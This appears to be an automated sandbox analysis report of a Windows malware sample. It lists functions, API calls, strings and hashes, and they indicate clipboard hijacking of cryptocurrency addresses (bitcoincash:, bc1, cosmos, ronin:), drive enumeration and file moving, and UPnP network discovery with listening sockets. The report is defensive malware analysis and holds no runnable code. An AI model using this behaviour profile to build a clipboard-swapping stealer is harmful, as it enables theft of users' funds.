cosmos, xrefs: 00405385
bitcoincash:, xrefs: 00404D5E

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$lstrlen$AllocCloseDataEmptyLockOpenUnlockisalphaisdigitmemcpy
String ID: 0$addr$addr$band$bc1$bitcoincash:$bitcoincash:$bitcoincash:$bnb$cosmos$cosmos$hA$nano_$nano_$ronin:$ronin:
API String ID: 2780752356-1454159098
Opcode ID: 1df929a5d8f5b9e1bfb1efcb18d3a29233e0794c52f64d10113e7b7f4ba58d28
Instruction ID: d3cde74942e7afdaaf364769f000daf6be216c4f7804bb878a93964b207ef83b
Opcode Fuzzy Hash: 1df929a5d8f5b9e1bfb1efcb18d3a29233e0794c52f64d10113e7b7f4ba58d28
Instruction Fuzzy Hash: DE8239B0A00218EACF548F41C0945BE7BB2EF82751F60C0ABE9456F294D77D9EC1DB98

Function 004080B0 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 004081AD
_allshl.NTDLL ref: 004081C6
_aullshr.NTDLL ref: 00408294
_allshl.NTDLL ref: 004082AD
_aullshr.NTDLL ref: 00408376
_allshl.NTDLL ref: 0040838F
_aullshr.NTDLL ref: 00408458
_allshl.NTDLL ref: 00408471
_aullshr.NTDLL ref: 0040853A
_allshl.NTDLL ref: 00408553
_aullshr.NTDLL ref: 00408616
_allshl.NTDLL ref: 0040862F
_aullshr.NTDLL ref: 004086F2
_allshl.NTDLL ref: 0040870B
_aullshr.NTDLL ref: 004087CE
_allshl.NTDLL ref: 004087E7
_aullshr.NTDLL ref: 004088AA
_allshl.NTDLL ref: 004088C3
_aullshr.NTDLL ref: 00408986
_allshl.NTDLL ref: 0040899F
_aullshr.NTDLL ref: 00408A62
_allshl.NTDLL ref: 00408A7B
_aullshr.NTDLL ref: 00408B3E
_allshl.NTDLL ref: 00408B57
_aullshr.NTDLL ref: 00408C1A
_allshl.NTDLL ref: 00408C33
_aullshr.NTDLL ref: 00408CF6
_allshl.NTDLL ref: 00408D0F
_aullshr.NTDLL ref: 00408DD2
_allshl.NTDLL ref: 00408DEB
_aullshr.NTDLL ref: 00408EA8
_allshl.NTDLL ref: 00408EC1
_allshl.NTDLL ref: 00408EE2
_aullshr.NTDLL ref: 00408EF3

Strings

Y, xrefs: 004080D0

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID: Y
API String ID: 673498613-3233089245
Opcode ID: 7286a3771c49fe6dd85f91ec8c346872754a56a447a9e0d5d293665731471eb7
Instruction ID: 38e152ebd7ea95bc8f380bf4b2252a64c27ffc37453e75a420e7eb0cbbf7c908
Opcode Fuzzy Hash: 7286a3771c49fe6dd85f91ec8c346872754a56a447a9e0d5d293665731471eb7
Instruction Fuzzy Hash: B8D22A79D11619EFCB54CF99C18099EFBF1FF88320F62859AD845AB305C630AA95DF80

Function 004080D9 Relevance: 52.0, APIs: 34, Instructions: 1023
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 004081AD
_allshl.NTDLL ref: 004081C6
_aullshr.NTDLL ref: 00408294
_allshl.NTDLL ref: 004082AD
_aullshr.NTDLL ref: 00408376
_allshl.NTDLL ref: 0040838F
_aullshr.NTDLL ref: 00408458
_allshl.NTDLL ref: 00408471
_aullshr.NTDLL ref: 0040853A
_allshl.NTDLL ref: 00408553
_aullshr.NTDLL ref: 00408616
_allshl.NTDLL ref: 0040862F
_aullshr.NTDLL ref: 004086F2
_allshl.NTDLL ref: 0040870B
_aullshr.NTDLL ref: 004087CE
_allshl.NTDLL ref: 004087E7
_aullshr.NTDLL ref: 004088AA
_allshl.NTDLL ref: 004088C3
_aullshr.NTDLL ref: 00408986
_allshl.NTDLL ref: 0040899F
_aullshr.NTDLL ref: 00408A62
_allshl.NTDLL ref: 00408A7B
_aullshr.NTDLL ref: 00408B3E
_allshl.NTDLL ref: 00408B57
_aullshr.NTDLL ref: 00408C1A
_allshl.NTDLL ref: 00408C33
_aullshr.NTDLL ref: 00408CF6
_allshl.NTDLL ref: 00408D0F
_aullshr.NTDLL ref: 00408DD2
_allshl.NTDLL ref: 00408DEB
_aullshr.NTDLL ref: 00408EA8
_allshl.NTDLL ref: 00408EC1
_allshl.NTDLL ref: 00408EE2
_aullshr.NTDLL ref: 00408EF3

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 21d62b95df156d65b0f58ece9101bfe8da6afc21161c3ccb89e1e1339c27952d
Instruction ID: 210ecbc2d6fc9dc29dd7b869163d3ab15cad43ed1e12d09afb70b2b575c36fe3
Opcode Fuzzy Hash: 21d62b95df156d65b0f58ece9101bfe8da6afc21161c3ccb89e1e1339c27952d
Instruction Fuzzy Hash: 30D22A79D11619EFCB54CF99C18099EFBF1FF88320F62859AD845AB305C630AA95DF80

Function 00405910 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040591C
SetClipboardViewer.USER32(?), ref: 00405968
SetWindowLongW.USER32(?,000000EB,?), ref: 0040597B
IsClipboardFormatAvailable.USER32(0000000D), ref: 004059D0
OpenClipboard.USER32(00000000), ref: 00405A17
GetClipboardData.USER32(00000000), ref: 00405A29
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B30
ChangeClipboardChain.USER32(?,?), ref: 00405B3E
DefWindowProcA.USER32(?,?,?,?), ref: 00405B54

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: ce536a5ebd17aa25bd8c63565adcaae9255b97c75774932fd7b0e60d3253294e
Instruction ID: 140c23de002baebc09e84a4b6840f2c6f62578de50faf7348504d1cb8e8204ab
Opcode Fuzzy Hash: ce536a5ebd17aa25bd8c63565adcaae9255b97c75774932fd7b0e60d3253294e
Instruction Fuzzy Hash: 80710C75A00608EFDF14DFA4D988BAFB7B4EB48300F10856AE506B7290D7799A40CF69

Function 00406510 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00406AFE,00000000), ref: 0040651F
wsprintfW.USER32 ref: 00406535
FindFirstFileW.KERNEL32(?,?), ref: 0040654C
lstrcmpW.KERNEL32(?,00410FC8), ref: 00406571
lstrcmpW.KERNEL32(?,00410FCC), ref: 00406587
wsprintfW.USER32 ref: 004065AA
wsprintfW.USER32 ref: 004065CA
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406606
FindNextFileW.KERNEL32(000000FF,?), ref: 0040661A
FindClose.KERNEL32(000000FF), ref: 0040662F
RemoveDirectoryW.KERNEL32(?), ref: 00406639

Strings

%s\*, xrefs: 00406529
%s\%s, xrefs: 0040659E
%s\%s, xrefs: 004065BE

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: aaf4b3f36bfa67770f4778d47adab31ac8eaf14f3968b868ec32d0f8b28c6d5c
Instruction ID: 29a521c4e1aad10613397e171bad1bd73fe874f8ff332ca0de340875b50b0acb
Opcode Fuzzy Hash: aaf4b3f36bfa67770f4778d47adab31ac8eaf14f3968b868ec32d0f8b28c6d5c
Instruction Fuzzy Hash: 56315BB5500218AFCB10DB60EC85FDA7778AB48701F40C5A9F609A3185DBB5DAD9CF68

Function 00406B50 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00406B5E
GetModuleFileNameW.KERNEL32(00000000,00417500,00000104), ref: 00406B70

Part of subcall function 0040ED00: CreateFileW.KERNEL32(00406B80,80000000,00000001,00000000,00000003,00000000,00000000,00406B80), ref: 0040ED20
Part of subcall function 0040ED00: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040ED35
Part of subcall function 0040ED00: CloseHandle.KERNEL32(000000FF), ref: 0040ED42

ExitThread.KERNEL32 ref: 00406CDA

Part of subcall function 00406340: GetLogicalDrives.KERNEL32 ref: 00406346
Part of subcall function 00406340: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
Part of subcall function 00406340: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
Part of subcall function 00406340: RegCloseKey.ADVAPI32(?), ref: 004063DE

Sleep.KERNEL32(000007D0), ref: 00406CCD

Part of subcall function 00406260: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 004062B3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C0F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C24
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406C3F
wsprintfW.USER32 ref: 00406C52
wsprintfW.USER32 ref: 00406C72
wsprintfW.USER32 ref: 00406C95

Strings

%s%s, xrefs: 00406C89
Unnamed volume, xrefs: 00406C66
(%dGB), xrefs: 00406C46

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 28cf1d750f559b85cf67cfd50a9e6b26b5fb1b314e0712f8dd8363f24fb25f9f
Instruction ID: 6971fabc066a78c2b5f4f93c2536245faf55c75ef939042e540841f18162a7fc
Opcode Fuzzy Hash: 28cf1d750f559b85cf67cfd50a9e6b26b5fb1b314e0712f8dd8363f24fb25f9f
Instruction Fuzzy Hash: 1D419BB1900214BBE714DB94DD55FEE7778BB48700F1081A5F20AB61D0DA785794CF6A

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D6C0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D6DE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D6F0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D714
Part of subcall function 0040D6F0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D76F
Part of subcall function 0040D6F0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D7AC
Part of subcall function 0040D6F0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D7B7
Part of subcall function 0040D6F0: DuplicateHandle.KERNEL32(00000000), ref: 0040D7BE
Part of subcall function 0040D6F0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D7D2

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 23dfeb1008158e2e0cd7513cecaa842fef64be5ff76144f1ff25a44a66e0fb2a
Instruction ID: 5f4ab44496f95361e3b7ac477a06260d9546e6561ad256066a099106afd7ac33
Opcode Fuzzy Hash: 23dfeb1008158e2e0cd7513cecaa842fef64be5ff76144f1ff25a44a66e0fb2a
Instruction Fuzzy Hash: 2B41C070640701BBD3209F649D0AF4B77E4AF44720F108A2DF6A9EA2D4E7F4E445875A

Function 0040DCA0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040DCBA
htons.WS2_32(0000076C), ref: 0040DCF0
inet_addr.WS2_32(239.255.255.250), ref: 0040DCFF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DD1D

Part of subcall function 0040B010: htons.WS2_32(00000050), ref: 0040B03D
Part of subcall function 0040B010: socket.WS2_32(00000002,00000001,00000000), ref: 0040B05D
Part of subcall function 0040B010: connect.WS2_32(000000FF,?,00000010), ref: 0040B076
Part of subcall function 0040B010: getsockname.WS2_32(000000FF,?,00000010), ref: 0040B0A8

bind.WS2_32(000000FF,?,00000010), ref: 0040DD53
lstrlenA.KERNEL32(00411D70,00000000,?,00000010), ref: 0040DD6C
sendto.WS2_32(000000FF,00411D70,00000000), ref: 0040DD7B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DD95

Part of subcall function 0040DE20: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DE6E
Part of subcall function 0040DE20: Sleep.KERNEL32(000003E8), ref: 0040DE7E
Part of subcall function 0040DE20: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DE9B
Part of subcall function 0040DE20: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DEB1
Part of subcall function 0040DE20: StrChrA.SHLWAPI(?,0000000D), ref: 0040DEDE

Strings

239.255.255.250, xrefs: 0040DCFA

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 67bb0c7a586e0ff2326b65c0e0cd249105ca887c7b19898e2fcb7942032de1f3
Instruction ID: 4840ad5dfb28dde6295409afe741e8bd11bfa900d245e54f0039e4319b19f377
Opcode Fuzzy Hash: 67bb0c7a586e0ff2326b65c0e0cd249105ca887c7b19898e2fcb7942032de1f3
Instruction Fuzzy Hash: 7C41D8B4E00208ABDB14DFE4E889BEEBBB5EF48304F108569F505B7390E7B55A44CB59

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction ID: ab17557c7f530dee2ff78f8644a874c55f5dae77ec0fdd8d5eef9b2878869d10
Opcode Fuzzy Hash: e01990b2806d481bb9ed450513fecbcb8920a32bd929df83c4378d56477af31e
Instruction Fuzzy Hash: 6031C871A44301AFE320DF649C46F9BB6E0AF48B14F40493DF695EB2E0D3B5D544879A

Function 0040D280 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D292
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D2B8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D2EF
GetTickCount.KERNEL32 ref: 0040D304
Sleep.KERNEL32(00000001), ref: 0040D324
GetTickCount.KERNEL32 ref: 0040D32A

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction ID: 4b62ca25e6cdc7f9b2e1b521222d8c0dfc3b1f9d22396e6cb4543525420831ef
Opcode Fuzzy Hash: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction Fuzzy Hash: 1F31E874D00209EFCB14DFA8D948AEEB7B0FF44315F108669E825A7290D7749A94CB59

Function 0040B010 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040B03D

Part of subcall function 0040AFD0: inet_addr.WS2_32(0040B051), ref: 0040AFDA
Part of subcall function 0040AFD0: gethostbyname.WS2_32(?), ref: 0040AFED

socket.WS2_32(00000002,00000001,00000000), ref: 0040B05D
connect.WS2_32(000000FF,?,00000010), ref: 0040B076
getsockname.WS2_32(000000FF,?,00000010), ref: 0040B0A8

Strings

www.update.microsoft.com, xrefs: 0040B047

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 1adbfc87e4e946ee119d9e5b2ddfdf65343185abbb22bc100f48905234863ed2
Instruction ID: 0ae4650424ba83aa22eef998e17282091954cac8fd9820034268e2ac291e36ad
Opcode Fuzzy Hash: 1adbfc87e4e946ee119d9e5b2ddfdf65343185abbb22bc100f48905234863ed2
Instruction Fuzzy Hash: 4A212CB4D102099BDB04DFE4D946BEFBBB4AF08310F104169E515B7390E7745A44CBAA

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DAED,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction ID: d62f3833751a539e27b625c66b0fe154f308ce322b9d6d34e226f7a30690eb36
Opcode Fuzzy Hash: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction Fuzzy Hash: 5C118974A40710AFE360DF749C0AF877AE0AF04B54F50892DF599E72E1E3F49544879A

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction ID: df3cbe2ca7d05c2b70b960210cdf5b20c1916dde76b22b2cec88194eea221140
Opcode Fuzzy Hash: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction Fuzzy Hash: 6A11AD72148305AFD310CF65EC84AEBB7ECEB88710F40492AF945D2140E679E94997B6

Function 0040E040 Relevance: 4.6, APIs: 3, Instructions: 89commemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00405630: lstrlenA.KERNEL32(00000000), ref: 00405647

SysAllocString.OLEAUT32(00000000), ref: 0040E06E
CoCreateInstance.OLE32(00412A18,00000000,00004401,00412A08,00000000), ref: 0040E096
SysFreeString.OLEAUT32(00000000), ref: 0040E131

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeInstancelstrlen
String ID:
API String ID: 2697797874-0
Opcode ID: 45bdf66638a553dec9b64523f646afcf61dabc29da059ab6423e5f8cb98debcd
